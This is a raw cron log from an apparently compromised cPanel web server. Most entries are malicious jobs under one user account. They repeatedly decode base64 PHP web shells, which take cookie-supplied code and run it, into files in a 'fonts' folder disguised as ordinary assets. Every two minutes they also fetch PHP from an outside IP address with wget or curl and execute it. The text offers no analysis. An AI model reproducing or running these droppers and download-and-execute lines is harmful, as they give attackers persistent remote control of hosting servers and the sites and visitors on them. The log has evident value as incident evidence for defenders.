Sep 10 06:46:01 ip-184-168-122-23 CROND[20396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:46:01 ip-184-168-122-23 CROND[20398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:46:01 ip-184-168-122-23 CROND[20401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:46:01 ip-184-168-122-23 CROND[20400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:46:01 ip-184-168-122-23 CROND[20399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:46:01 ip-184-168-122-23 CROND[20405]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 06:46:01 ip-184-168-122-23 CROND[20404]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 06:47:01 ip-184-168-122-23 CROND[20523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:47:01 ip-184-168-122-23 CROND[20525]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:47:01 ip-184-168-122-23 CROND[20526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:47:01 ip-184-168-122-23 CROND[20527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:48:01 ip-184-168-122-23 CROND[20627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:48:01 ip-184-168-122-23 CROND[20629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:48:02 ip-184-168-122-23 CROND[20632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:48:02 ip-184-168-122-23 CROND[20631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:48:02 ip-184-168-122-23 CROND[20634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:49:01 ip-184-168-122-23 CROND[20746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:49:01 ip-184-168-122-23 CROND[20748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:49:01 ip-184-168-122-23 CROND[20749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:49:01 ip-184-168-122-23 CROND[20750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:50:01 ip-184-168-122-23 CROND[20960]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:50:01 ip-184-168-122-23 CROND[20961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:50:01 ip-184-168-122-23 CROND[20964]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 06:50:01 ip-184-168-122-23 CROND[20966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:50:01 ip-184-168-122-23 CROND[20968]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:50:01 ip-184-168-122-23 CROND[20969]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:50:01 ip-184-168-122-23 CROND[20967]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:50:01 ip-184-168-122-23 CROND[20970]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:50:01 ip-184-168-122-23 CROND[20971]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:51:01 ip-184-168-122-23 CROND[21107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:51:01 ip-184-168-122-23 CROND[21110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:51:01 ip-184-168-122-23 CROND[21109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:51:01 ip-184-168-122-23 CROND[21115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:52:01 ip-184-168-122-23 CROND[21238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:52:01 ip-184-168-122-23 CROND[21240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:52:01 ip-184-168-122-23 CROND[21245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:52:01 ip-184-168-122-23 CROND[21244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:52:01 ip-184-168-122-23 CROND[21243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:53:01 ip-184-168-122-23 CROND[21346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:53:01 ip-184-168-122-23 CROND[21348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:53:01 ip-184-168-122-23 CROND[21350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:53:01 ip-184-168-122-23 CROND[21349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:54:01 ip-184-168-122-23 CROND[21461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:54:01 ip-184-168-122-23 CROND[21463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:54:01 ip-184-168-122-23 CROND[21467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:54:01 ip-184-168-122-23 CROND[21466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:54:01 ip-184-168-122-23 CROND[21465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:55:01 ip-184-168-122-23 CROND[21577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:55:02 ip-184-168-122-23 CROND[21579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:55:02 ip-184-168-122-23 CROND[21581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:55:02 ip-184-168-122-23 CROND[21580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:55:02 ip-184-168-122-23 CROND[21582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:55:02 ip-184-168-122-23 CROND[21583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:56:01 ip-184-168-122-23 CROND[21688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:56:01 ip-184-168-122-23 CROND[21687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:56:01 ip-184-168-122-23 CROND[21690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:56:01 ip-184-168-122-23 CROND[21693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:56:01 ip-184-168-122-23 CROND[21692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:57:01 ip-184-168-122-23 CROND[21893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:57:01 ip-184-168-122-23 CROND[21894]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:57:01 ip-184-168-122-23 CROND[21896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:57:01 ip-184-168-122-23 CROND[21898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:58:01 ip-184-168-122-23 CROND[22012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
